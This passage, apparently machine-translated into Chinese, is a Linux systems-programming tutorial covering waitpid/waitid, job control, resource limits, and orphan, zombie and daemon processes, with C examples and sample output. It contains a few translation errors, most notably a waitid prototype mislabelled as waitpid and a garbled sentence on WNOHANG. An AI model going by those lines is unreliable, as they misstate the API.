上述调用成功时返回终止子进程的进程 ID,失败时返回 -1。waitpid() 系统调用挂起当前进程的执行并无限期等待,直到指定的子进程(根据 pid 值)终止。子项的终止状态可在状态中找到。

pid 的值可以是以下之一 -

  • < -1 - 等待进程组 ID 等于 pid 绝对值的任何子进程。

  • -1 - 等待任何子进程,相当于 wait() 系统调用。

  • 0 - 等待其进程组 ID 等于调用进程的进程组 ID 的任何子进程。

  • >0 - 等待进程 ID 等于 pid 值的任何子进程。

默认情况下,waitpid() 系统调用仅等待终止的子进程,但可以使用 options 参数修改此默认Behave。

现在让我们以一个程序为例,等待一个特定进程及其进程 ID。

/* 文件名: waitpid_test.c */

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>

int main() {
   int pid;
   int pids[3];
   int status;
   int numprocesses = 0;
   int total_processes = 3;
   while (numprocesses < total_processes) {
      pid = fork();
      
      // Child process
      if (pid == 0) {
         printf("In child process: process id is %d\n", getpid());
         sleep(5);
         return 4;
      } else {
         pids[numprocesses] = pid;
         numprocesses++;
         printf("In parent process: created process number: %d\n", pid);
      }
   }
   
   // Waiting for 3rd child process
   waitpid(pids[total_processes - 1], &status, 0);
   if (WIFEXITED(status) != 0) {
      printf("process %d exited normally\n", pids[total_processes - 1]);
      printf("exit status from child is %d\n", WEXITSTATUS(status));
   } else {
      printf("process %d not exited normally\n", pids[total_processes - 1]);
   }
   return 0;
}

编译并执行后,输出结果如下。

In child process: process id is 32528
In parent process: created process number: 32528
In child process: process id is 32529
In parent process: created process number: 32528
In parent process: created process number: 32529
In child process: process id is 32530
In parent process: created process number: 32528
In parent process: created process number: 32529
In parent process: created process number: 32530
process 32530 exited normally
exit status from child is 4

现在,让我们检查 waitid() 系统调用。该系统调用等待子进程改变状态。

#include <sys/wait.h>

int waitpid(idtype_t idtype, id_t id, siginfo_t *infop, int options);

上述系统调用等待子进程更改状态,并且此调用会挂起当前/调用进程,直到其任何子进程更改其状态。参数“infop”用于记录子进程的当前状态。如果进程已经更改其状态,则此调用立即返回。

idtype 的值可以是以下之一 -

  • P_PID - 等待进程 ID 等于 id 的任何子进程。

  • P_PGID - 等待任何进程组 ID 等于 id 的子进程。

  • P_ALL - 等待任何子进程并且 id 被忽略。

  • options 参数用于指定哪个状态发生变化,这可以通过按位或运算与下面提到的标志来形成 -

  • WCONTINUED - 返回任何已停止并已继续的子项的状态。

  • WEXITED - 等待进程退出。

  • WNOHANG - 立即返回。

  • WSTOPPED - 收到信号后等待任何已停止的子进程并返回状态。

如果该调用由于其子级之一的状态更改而返回且使用了 WNOHANG,则返回 0。如果出现错误,它会返回 –1,并设置适当的错误编号。

/* 文件名: waitid_test.c */

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>

int main() {
   int pid;
   int pids[3];
   int status;
   int numprocesses = 0;
   int total_processes = 3;
   siginfo_t siginfo;
   while (numprocesses < total_processes) {
      pid = fork();
      
      // Child process
      if (pid == 0) {
         printf("In child process: process id is %d\n", getpid());
         sleep(5);
         return 2;
      } else {
         pids[numprocesses] = pid;
         numprocesses++;
         printf("In parent process: created process number: %d\n", pid);
      }
   }
   
   // Waiting for 3rd child process
   status = waitid(P_PID, pids[total_processes - 1], &siginfo, WEXITED);
   if (status == -1) {
      perror("waitid error");
      return 1;
   }
   printf("Info received from waitid is: ");
   printf("PID of child: %d, real user id of child: %d\n", siginfo.si_pid, siginfo.si_uid);
   return 0;
}

上述程序执行并编译后,结果如下。

In child process: process id is 35390
In parent process: created process number: 35390
In child process: process id is 35391
In parent process: created process number: 35390
In parent process: created process number: 35391
In child process: process id is 35392
In parent process: created process number: 35390
In parent process: created process number: 35391
In parent process: created process number: 35392
Info received from waitid is: PID of child: 35392, real user id of child: 4581875

进程组、会话和作业控制

在本章中,我们将熟悉进程组、会话和作业控制。

进程组- 进程组是一个或多个进程的集合。进程组由共享相同进程组标识符(PGID)的一个或多个进程组成。进程组 ID (PGID) 与进程 ID 具有相同类型 (pid_t)。进程组有一个进程组领导者,它是创建该组的进程,其进程ID成为该组的进程组ID。

会话- 它是各种进程组的集合。

作业控制- 这允许 shell 用户同时执行多个命令(或作业),一个在前台,所有命令都在后台。还可以将作业从前台移至后台,反之亦然。

让我们借助使用 shell (BASH) 的示例程序来理解这一点。

  • 用于执行名为 basic_commands.sh 的基本命令(date、echo、sleep 和 cal)的 Shell 脚本(在 BASH 中)

  • 用于执行基本命令(ps、echo)的 Shell 脚本(BASH 中)

#!/bin/bash
#basic_commands.sh

date
echo "Now sleeping for 250 seconds, so that testing job control functionality is smooth"
sleep 250
cal

#!/bin/bash
#process_status.sh

ps
echo "Now sleeping for 200 seconds, so that testing job control functionality is smooth"
sleep 200
ps

使用chmod命令赋予文件执行权限。默认情况下,普通文件只会获得读写权限,而不会获得执行权限。

要停止当前正在运行的进程,需要输入 CTRL+Z。这会给你一个工作号码。作业可以在前台或后台恢复。如果需要,要在前台恢复作业,请使用“fg”命令。如果需要,要在后台恢复作业,请使用“bg”命令。通过使用它,它将仅运行最后停止的进程。如果您想启动上次停止的进程以外的进程怎么办?只需在 fg 或 bg 之后使用作业编号(例如 bg %2 或 bg %3 等)。如果正在后台运行的作业,您可以在前台运行任何其他任务。要获取作业列表,请使用命令 jobs。也可以使用 CTRL+C 或 Kill 命令终止进程。您可以在使用kill命令时传递作业号。

检查以下输出,其中演示了停止作业、将作业从前台移动到后台(反之亦然)、终止作业等。

chmod u+x basic_commands.sh
chmod u+x process_status.sh

./basic_commands.sh
Wed Jul 5 18:30:27 IST 2017
Now sleeping for 250 seconds, so that testing job control functionality is smooth
^Z
[1]+ Stopped ./basic_commands.sh
./process_status.sh
PID   TTY   TIME     CMD
2295  pts/1 00:00:00 bash
4222  pts/1 00:00:00 basic_commands.
4224  pts/1 00:00:00 sleep
4225  pts/1 00:00:00 process_status.
4226  pts/1 00:00:00 ps
Now sleeping for 200 seconds, so that testing job control functionality is smooth
^Z
[2]+ Stopped      ./process_status.sh
jobs
[1]- Stopped      ./basic_commands.sh
[2]+ Stopped      ./process_status.sh
fg
./process_status.sh
^Z
[2]+ Stopped      ./process_status.sh
fg %2
./process_status.sh
^Z
[2]+ Stopped      ./process_status.sh
fg %1
./basic_commands.sh
^Z
[1]+ Stopped      ./basic_commands.sh

jobs
[1]+ Stopped      ./basic_commands.sh
[2]- Stopped      ./process_status.sh

bg %2
[2]- ./process_status.sh &
fg
./basic_commands.sh
^Z
[1]+ Stopped      ./basic_commands.sh
jobs
[1]+ Stopped      ./basic_commands.sh
[2]- Running      ./process_status.sh &
fg %2
./process_status.sh
^Z
[2]+ Stopped      ./process_status.sh
jobs
[1]- Stopped      ./basic_commands.sh
[2]+ Stopped      ./process_status.sh
kill %1 %2
[1]- Stopped      ./basic_commands.sh
[2]+ Stopped      ./process_status.sh

[1]- Terminated   ./basic_commands.sh
[2]+ Terminated   ./process_status.sh

流程资源

进程需要一定的资源(例如CPU和内存)来执行任务。现在我们通过相关的命令和系统调用来了解资源利用和监控的信息。此外,默认情况下每个进程对资源都有一定的限制,如果需要,可以增强这些限制以满足应用程序的要求。

以下是使用命令的基本系统或进程资源信息 -

顶层命令

$ top

top命令持续显示系统资源的使用情况。如果任何进程使系统处于某种挂起状态(消耗更多的 CPU 或内存),则可以记录该进程信息并采取适当的操作(例如终止相关进程)。

ps 命令

$ ps

ps 命令提供有关所有正在运行的进程的信息。这有助于监视和控制过程。

vmstat 命令

$ vmstat

vmstat 命令报告虚拟内存子系统的统计信息。它报告进程信息(等待运行、Hibernate、可运行进程等)、内存(空闲、已用等虚拟内存信息)、交换区、IO设备、系统信息(中断次数、上下文切换)和 CPU(用户、系统和空闲时间)。

lsof 命令

$ lsof

lsof 命令打印所有当前正在运行的进程(包括系统进程)的打开文件列表。

getconf 命令

$ getconf –a

getconf 命令显示系统配置变量信息。

现在,让我们看一下相关的系统调用。

  • 系统调用 getrusage(),它提供有关系统资源使用情况的信息。

  • 与访问和设置资源限制相关的系统调用,即 getrlimit()、setrlimit()、prlimit()。

系统资源使用调用

#include <sys/time.h>
#include <sys/resource.h>

int getrusage(int who, struct rusage *usage);

系统调用 getrusage() 返回有关系统资源使用情况的信息。这可以包括有关自身、子级或使用“who”变量的标志 RUSAGE_SELF、RUSAGE_CHILDREN、RUSAGE_THREAD 的调用线程的信息。调用后,返回结构体rusage中的信息。

成功时此调用将返回“0”,失败时将返回“-1”。

让我们看看下面的示例程序。

/* 文件名: sysinfo_getrusage.c */

#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>

void main(void) {
   struct rusage res_usage;
   int retval;
   retval = getrusage(RUSAGE_SELF, &res_usage);
   if (retval == -1) {
      perror("getrusage error");
      return;
   }
   printf("Details of getrusage:\n");
   printf("User CPU time (seconds) is %d\n", (int)res_usage.ru_utime.tv_sec);
   printf("User CPU time (micro seconds) is %d\n", (int)res_usage.ru_utime.tv_usec);
   printf("Maximum size of resident set (kb) is %ld\n", res_usage.ru_maxrss);
   printf("Soft page faults (I/O not required) is %ld\n", res_usage.ru_minflt);
   printf("Hard page faults (I/O not required) is %ld\n", res_usage.ru_majflt);
   printf("Block input operations via file system is %ld\n", res_usage.ru_inblock);
   printf("Block output operations via file system is %ld\n", res_usage.ru_oublock);
   printf("Voluntary context switches are %ld\n", res_usage.ru_nvcsw);
   printf("Involuntary context switches are %ld\n", res_usage.ru_nivcsw);
   return;
}

编译和执行步骤

Details of getrusage:
User CPU time (seconds) is 0
User CPU time (micro seconds) is 0
Maximum size of resident set (kb) is 364
Soft page faults (I/O not required) is 137
Hard page faults (I/O not required) is 0
Block input operations via file system is 0
Block output operations via file system is 0
Voluntary context switches are 0
Involuntary context switches are 1

现在让我们看看与访问和设置资源限制相关的系统调用。

#include <sys/time.h>
#include <sys/resource.h>

int getrlimit(int resource, struct rlimit *rlim);
int setrlimit(int resource, const struct rlimit *rlim);
int prlimit(pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit);

系统调用getrlimit()通过输入需要的资源(如 RLIMIT_NOFILE、RLIMIT_NPROC、RLIMIT_STACK 等)来获取结构体 rlimit 中的资源限制。

系统调用setrlimit()将 rlimit 结构中提到的资源限制设置为限制范围内。

系统调用prlimit()用于多种目的,例如检索当前资源限制或将资源限制更新为新值。

结构 rlimit 包含两个值 -

  • 软限制- 电流限制

  • 硬限制- 可以扩展的最大限制。

RLIMIT_NOFILE - 返回此进程可以打开的文件描述符的最大数量。例如,如果它返回 1024,则该进程具有从 0 到 1023 的文件描述符。

RLIMIT_NPROC - 可以为该进程的用户创建的最大进程数。

RLIMIT_STACK - 该进程的堆栈段的最大大小(以字节为单位)。

所有这些调用都会在成功时返回“0”,在失败时返回“-1”。

让我们考虑以下使用 getrlimit() 系统调用的示例。

/* 文件名: sysinfo_getrlimit.c */

#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>

void main(void) {
   struct rlimit res_limit;
   int retval;
   int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
   int max_res;
   int counter = 0;
   printf("Details of resource limits for NOFILE, NPROC, STACK are as follows: \n");
   max_res = sizeof(resources)/sizeof(int);
   while (counter < max_res) {
      retval = getrlimit(resources[counter], &res_limit);
      if (retval == -1) {
         perror("getrlimit error");
         return;
      }
      printf("Soft Limit is %ld\n", res_limit.rlim_cur);
      printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
      counter++;
   }
   return;
}

编译和执行步骤

Details of resource limits for NOFILE, NPROC, STACK are as follows: 
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432

让我们考虑另一个使用 getrlimit() 系统调用但现在使用 prlimit() 系统调用的示例。

/* 文件名: sysinfo_prlimit.c */

#include<stdio.h>
#include<unistd.h>
#include<sys/time.h>
#include<sys/resource.h>

void main(void) {
   struct rlimit res_limit;
   int retval;
   int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
   int max_res;
   int counter = 0;
   printf("Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: \n");
   max_res = sizeof(resources)/sizeof(int);
   while (counter < max_res) {
      retval = prlimit(getpid(), resources[counter], NULL, &res_limit);
      if (retval == -1) {
         perror("prlimit error");
         return;
      }
      printf("Soft Limit is %ld\n", res_limit.rlim_cur);
      printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
      counter++;
   }
   return;
}

编译和执行步骤

Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: 
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432

其他流程

到目前为止,我们已经讨论了进程、进程的创建、父进程和子进程等。如果不讨论其他相关进程,例如孤儿进程、僵尸进程和守护进程,那么讨论将是不完整的。

孤儿进程

正如名称所示,孤儿意味着无父进程。当我们运行一个程序或应用程序时,该应用程序的父进程是shell。当我们使用fork()创建进程时,新创建的进程是子进程,创建子进程的进程是父进程。反过来,它的父进程是shell。当然,所有进程的父进程都是init进程(进程ID → 1)。

上面是一个常见的场景,但是,如果父进程先于子进程退出会发生什么情况。结果是,子进程现在成为孤儿进程。那么它的父进程呢,它的新父进程是所有进程的父进程,只不过是init进程(进程ID - 1)。

让我们尝试使用以下示例来理解这一点。

/* 文件名:orphan_process.c */

#include<stdio.h>
#include<stdlib.h>

int main() {
   int pid;
   system("ps -f");
   pid = fork();
   if (pid == 0) {
      printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
      sleep(5);
      printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
      system("ps -f");
   } else {
      printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
      sleep(2);
      exit(0);
   }
   return 0;
}

编译和执行步骤

UID         PID   PPID  C STIME TTY    TIME CMD
4581875  180558      0  0 09:19  ?     00:00:00 sh -c cd /home/cg/root/4581875; 
                                       timeout 10s main
4581875  180564 180558  0 09:19  ?     00:00:00 timeout 10s main
4581875  180565 180564  0 09:19  ?     00:00:00 main
4581875  180566 180565  0 09:19  ?     00:00:00 ps -f
Parent: pid is 180565 and ppid is 180564
UID         PID   PPID  C STIME TTY    TIME CMD
4581875  180567      0  0 09:19  ?     00:00:00 main
4581875  180820 180567  0 09:19  ?     00:00:00 ps -f
Child: pid is 180567 and ppid is 180565
Child: pid is 180567 and ppid is 0

僵尸进程

简单来说,假设您有两个进程,即父进程和子进程。父进程的责任是等待子进程,然后从进程表中清除子进程条目。如果父进程没有准备好等待子进程,而子进程同时完成其工作并退出,该怎么办?现在,子进程将成为僵尸进程。当然,僵尸进程会在父进程就绪后被清理。

让我们通过一个例子来理解这一点。

/* 文件名:zombie_process.c */

#include<stdio.h>
#include<stdlib.h>

int main() {
   int pid;
   pid = fork();
   if (pid == 0) {
      system("ps -f");
      printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
      exit(0);
   } else {
      printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
      sleep(10);
      system("ps aux|grep Z");
   }
   return 0;
}

编译和执行步骤

UID         PID   PPID  C STIME TTY    TIME CMD
4581875  184946      0  0 09:20  ?     00:00:00 sh -c cd /home/cg/root/4581875; 
                                       timeout 10s main
4581875  184952 184946  0 09:20  ?     00:00:00 timeout 10s main
4581875  184953 184952  0 09:20  ?     00:00:00 main
4581875  184954 184953  0 09:20  ?     00:00:00 main
4581875  184955 184954  0 09:20  ?     00:00:00 ps -f
Child: pid is 184954 and ppid is 184953

守护进程

简单来说,没有任何关联的 shell 或终端的进程称为守护进程。为什么需要这个?这些进程在后台运行,以预定义的时间间隔执行操作并响应某些事件。守护进程不应该有任何用户交互,因为它作为后台进程运行。

Linux 内部守护进程通常以字母“d”结尾,例如内核守护进程(ksoftirqd、kblockd、kswapd 等)、打印守护进程(cupsd、lpd 等)、文件服务守护进程(smbd、nmbd 等) 、管理数据库守护进程(ypbind、ypserv 等)、电子邮件守护进程(sendmail、popd、smtpd 等)、远程登录和命令执行守护进程(sshd、in.telnetd 等)、引导和配置守护进程(dhcpd) 、udevd等)、初始化进程(init)、cron守护进程、atd守护进程等。

现在让我们看看如何创建守护进程。以下是步骤 -

步骤 1 - 创建一个子进程。现在我们有两个进程——父进程和子进程

通常进程层次是SHELL → PARENT PROCESS → CHILD PROCESS

步骤 2 - 通过退出终止父进程。子进程现在成为孤儿进程并由 init 进程接管。

现在,层次结构是 INIT PROCESS → CHILD PROCESS

步骤3 - 如果调用进程不是进程组领导者,则调用setsid()系统调用会创建一个新会话。现在调用进程成为新会话的组长。该进程将是该新进程组和该新会话中的唯一进程。

步骤 4 - 将进程组 ID 和会话 ID 设置为调用进程的 PID。

步骤 5 - 关闭进程的默认文件描述符(标准输入、标准输出和标准错误),因为终端和 shell 现在已与应用程序断开连接。

/* 文件名: daemon_test.c */

#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<unistd.h>
#include<fcntl.h>
#include<stdlib.h>
#include<string.h>

int main(int argc, char *argv[]) {
   pid_t pid;
   int counter;
   int fd;
   int max_iterations;
   char buffer[100];
   if (argc < 2)
   max_iterations = 5;
   else {
      max_iterations = atoi(argv[1]);
      if ( (max_iterations <= 0) || (max_iterations > 20) )
      max_iterations = 10;
   }
   pid = fork();
   
   // Unable to create child process
   if (pid < 0) {
      perror("fork error\n");
      exit(1);
   }
   
   // Child process
   if (pid == 0) {
      fd = open("/tmp/DAEMON.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644);
      if (fd == -1) {
         perror("daemon txt file open error\n");
         return 1;
      }
      printf("Child: pid is %d and ppid is %d\n", getpid(), getppid());
      printf("\nChild process before becoming session leader\n");
      sprintf(buffer, "ps -ef|grep %s", argv[0]);
      system(buffer);
      setsid();
      printf("\nChild process after becoming session leader\n");
      sprintf(buffer, "ps -ef|grep %s", argv[0]);
      system(buffer);
      close(STDIN_FILENO);
      close(STDOUT_FILENO);
      close(STDERR_FILENO);
   } else {
      printf("Parent: pid is %d and ppid is %d\n", getpid(), getppid());
      printf("Parent: Exiting\n");
      exit(0);
   }
   
   // Executing max_iteration times
   for (counter = 0; counter < max_iterations; counter++) {
      sprintf(buffer, "Daemon process: pid is %d and ppid is %d\n", getpid(), getppid());
      write(fd, buffer, strlen(buffer));
      sleep(2);
   }
   strcpy(buffer, "Done\n");
   write(fd, buffer, strlen(buffer));
   
   // Can't print this as file descriptors are already closed
   printf("DoneDone\n");
   close(fd);
   return 0;
}

Parent: pid is 193524 and ppid is 193523
Parent: Exiting
4581875  193525      0  0 09:23  ?      00:00:00 main
4581875  19